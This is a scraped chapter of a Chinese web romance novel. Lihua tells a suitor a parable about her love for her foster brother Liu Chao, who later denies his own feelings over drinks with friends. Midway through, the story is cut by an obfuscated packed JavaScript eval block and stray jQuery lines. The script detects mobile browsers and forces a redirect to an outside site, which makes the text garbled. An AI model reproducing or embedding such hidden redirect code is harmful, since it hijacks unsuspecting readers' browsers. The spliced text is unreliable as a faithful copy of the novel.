16. 第 16 章
作品:《梨花落》 这一刻,梨华心微微撩动,但无关风月。她眼中多了几分敬意,也很认真地回复:“陆郎君,谢谢。”
“谢谢你的喜欢。你以后,一定会遇到一个真心喜欢你的女子,但那个人决不会是我。”
对上陆闻复杂的眸,梨华忽然笑了笑,她道:“陆郎君,不如,我与你讲一个故事吧。听完,你会明白的。”
话都说开了,她忽然也不急着回去了。两人一起进了茶馆,面对面坐在一楼角落,梨华漫不经心地喝着茶,似乎有些不知该如何把这个故事讲好,陆闻也不着急,陪她坐着。
好一会,她才缓缓开口:“应该是很久以前,有一只小狐狸,她刚生下来没多久,就被家人丢弃在了洞里,了无音讯。小狐狸年幼,她什么都不懂,刚出生的幼兽懵懂无知,浑浑噩噩,害怕极了,每天只会哭,附近的同族欺她弱小,屡屡打骂,他们告诉小狐狸,她的家人不要她了,因为她没用,没用的狐狸是活不长久的,挨饿,挨冻,挨打好似都是理所应当……小狐狸开始恨,她恨上了所有。”
“如果生来便是苦难,小狐狸不明白活着是为了什么,又在等谁,于是某一个夜里,她决定赴死,她想要一场玉石俱焚。”
梨华还记得那一夜,她跪拜在母亲灵位前,漆黑漠然的眸燃烧着可燎原的火苗,火把砸进祠堂,大火焚烧着整个梨府后院,比痛苦先来的,是难以抑制的畅快,她没有悔恨过。
从来没有。
“就在小狐狸快死的那一刻,一只狼犬不顾一切地出现,救下了奄奄一息的小狐狸,命运就此改变。”
“狼犬带着小狐狸离开了这里,来到了他的家。起初,小狐狸并不服气他当时的多管闲事,她便和他作对,装模作样,故意气他找茬,狼犬生得高大威猛,她还有些怕他,可他从来都没有生气过,他很温柔,救她,爱她,教会她很多事,小狐狸问为什么,他说:希望她在这个世间好好的活下去。”
“就这样,狐狸和狼犬一起生活了十多年,他们不是亲人,却比亲人更似亲人。”梨华看着陆闻,眸光微动,询问他道:“陆郎君,你说,还有什么样的喜欢能比得过这十多年的情谊?”
“狐狸不爱狼犬,爱谁呢。”
人声鼎沸的茶馆里,看客们进进出出,走走停停,陆闻压着情绪,有些心疼地看着梨华:“可他,终究只把你当作亲人。”
梨家旧事,他多少打听到一些,可从梨华口中亲自说出来,震撼程度截然不同。
“可我们终究不是亲人。”梨华很平静地看着他,陆闻想到了什么,声音微扬:“你想打破?你要告诉他?!”
他从来没有想过,梨华是一位如此有胆色的姑娘,和初见时那副柔柔弱弱的模样,大不相同,或许真如她所说。
——他的喜欢太过浅薄。连她到底是个什么样的人,都不了解。
灯会要进入尾生了,浓重漆黑的夜被一盏盏孔明灯占据,满天星光,熠熠生辉,梨华看得有些入迷,平静的语调带起几分激昂:“是啊。”
“我要告诉他,我喜欢他。”
正如十多年前的那场孤注一掷。
—
—
柳朝送董秋水回府后,又打转去了梨府,得知陆闻把阿梨送回来了,梨华又早早睡下了,他一个人在府门外站了很久,始终没有迈过那道门槛。
没回家,也没回公廨,反是去找了周子深,他心里郁闷,想找人喝酒,只是没想到萧墨也在。
今夜灯会,喜庆欢乐,周子深忙着和姑娘们相会玩闹,却被这两个闷葫芦扰了美事,此时此刻他正臭着脸,没好气道:“良辰美景,花前月下,我却要与你们两个煞星在这煞风景?我的命怎么这么苦?!”
萧墨只顾喝酒,才懒得理周子深发牢骚,柳朝更没什么情绪,僵着一张脸神色冷清,见状,周子深拍拍桌子,说道:“你们俩又怎么了?谁惹你们了?”
他看向萧墨,萧墨不说话,周子深说道:“他哑巴,你呢?”
目光落在柳朝身上,柳朝听不出情绪地说:“我和阿梨又吵架了。”
“……”周子深无奈道:“又……这次又是因为什么?”他额角微抽,忍不住吐槽:又是这么点屁事?他还以为怎么了呢?!
柳朝叹气:“还是上次那件事。”
他微微摇头,喝了口闷酒:“我不明白,阿梨为什么那么生气。”
“你不会又追着人家姑娘问她喜欢的人是谁了?”周子深无语了,“不是你一个义兄,又不是亲哥哥!管人家姑娘那么多事干嘛!?”他越说越激动,差点没拍桌子。
“你在激动什么?”柳朝轻轻扫他一眼,无奈道:“不是我。”
他说:“是她。”
周子深有些没听明白,柳朝缓缓说道,与阿梨争吵的画面再次从他脑海里闪过,“她知道了我要定亲的事,突然发了好大一通脾气,还说恨我讨厌我不想再看见我,还……这次我们俩是真的吵得很凶,我都不知道怎么了?”
他心烦意乱的很。
再不找人说说,他整个人都快要炸了。
周子深听完,心里怀疑道:“那你什么感觉?”
“我也难受啊!现在的姑娘家都怎么了?阿梨以前也不这样的……自从那夜我们……”那夜,这个字眼一嘣出来柳朝就控制不住地想,他愣了愣,心里越发苦闷,连喝好几杯酒。
周子深低声一笑,忽然有些懂了。
这两人吵来吵去无非是见不得另一个人心里有别人了,可惜了,这种事一旁都是当局者迷,更何况他们之间还压着一层兄妹的关系。
以他对柳朝这个发小的了解,他自然是不能接受的。
“那我这样问你吧。”周子深换了一个说法,脸上带着促狭的笑,“假设是阿梨要定亲,是她要嫁给别人了,你又会是什么反应呢?会不会和她一样?”
阿梨,嫁给别人?
柳朝顿住了。从前他从未想过这些事,在他的认知里仿佛他们兄妹之间永远不会分离,可当这一天来临了,却是如此残忍。可是,正如他所说,迟早有这一天。
她会定亲,嫁人,生子。
她是他是妹妹,他也会娶妻,等他们都成家之后,曾经的那个家,便不复存在,心里最重要的那个位置,不会再是彼此。可是,这对于兄妹来说,是再正常不过的事了。
本该如此……他这样想着,心里忽然冒出一个声音:“可那个人不会再是你了。”
他陡然抬头,周子深还在等着他的回复,催促道:“说啊!”
“反正不会太舒服。”他低头揉着眉心,逼迫自己不去想这些。
周子深嗤笑一声,摇摇头,大大咧咧喝了一口酒,懒洋洋道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328155|198766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“完了啊。”
“你又悟出什么了。”柳朝端起酒杯喝着,火辣辣的刺痛感穿肠烂肚,勾起几分清醒,周子深看着他:“你是不是喜欢上阿梨那小丫头片子了?”
“噗——”
柳朝一口酒直接吐了出来,有几滴溅在周子深脸上,周子深摸了摸脸,眼神幽怨,而萧墨早早地躲开了。
“……”柳朝脸色陡变,一会红一会青的,怒道:“你胡说什么?!”
“那就是她喜欢你。”周子深贼兮兮地笑着,柳朝当即驳回:“不可能!”
周子深一脸看透,懒洋洋道:“反正你们俩有问题。”说着,他看向一旁默默喝酒的萧墨,“你说是不是啊?”
萧墨举起酒杯,不作声,对着他们二人敬了敬,一口饮尽。
这惊天动地的几句话,仿佛把柳朝打碎,柳朝忍不住地想,从前的很多事陡然间如决堤之江涌入在他脑海,他控制不住问:“你从哪看出来的?”
“凭我这么多年的风花雪月啊。”周子深耸了耸肩,挑眉道:“老子可不是白玩的!”
柳朝盯着他:“你想多了。”
“行行行,我乱说。”周子深微微正了正身子,忽道:“那我再问一句。”
“如果是真的,你会如何?”他忽然很想知道答案,柳朝会怎么选择。
柳朝后悔了。他不应该来找周子深的,他答:“这太过荒唐。”
“万一呢?难道你真的没往这方面想过吗?我不相信。”周子深笑。
柳朝面色冷峻,他拧着眉,眸底的疑难挣扎在这一刻荡然无存,周子深也是这时才回味,他从来都是一个不会偏离轨道的人。他道:“在此之前,彻底截断这个可能。”
“我与阿梨,只能是兄妹。”
“……”
周子深闻言,啧啧一声:“柳大人真狠啊。佩服佩服。”
那一夜,似是很漫长,柳朝挣扎着做出决择。周子深问他,难道从来没有想过?怎么可能,怎么可能没有想过?
他自知,那夜过后,他的梦里全是梨华的身影与笑容,他的心思,他的欲望,他全都清清楚楚,他早就不是阿梨记忆里的那个温润如玉的兄长了。
可这让他怎么说出口。
他做不到。
那一夜,月亮很圆,梨华坐在柳朝房里等他,整整一夜,他都没有回来。
她躺在柳朝的床上,闻着那熟悉的味道,彻夜难眠。直到天亮,她冷着脸离开了柳府,地上,是她发疯时剪碎的被褥碎布。
那一夜,灯会热闹欢快,杨宛君记得,好似放了一夜的烟花。她坐在屋中守着那盏长灯,不知在等着谁。
不会有人来的,她知道,明明是个人妇,丈夫却像死在了外头,她泡在热气腾腾的浴桶里,独自取悦自己,痛苦的呻吟里透着几分畅快。
那一夜,对于董秋水来说,是甜蜜亦是挣扎的。她和最喜欢的人看了烟花放了灯,与往常每年一样,却很有可能是最后一次了。
她很喜欢表兄,却也明白父母的运筹帷幄,表兄一家落败,她嫁过去自是不如嫁给柳家。柳朝是端方君子,温润如玉,除了情爱什么都有;表兄爱她疼她,对她是极好的,但除了情爱什么都可能没有,她不知道该怎么办,心里的声音却在说:她想要情爱,其他的东西她也想要,她是一个自私的人。

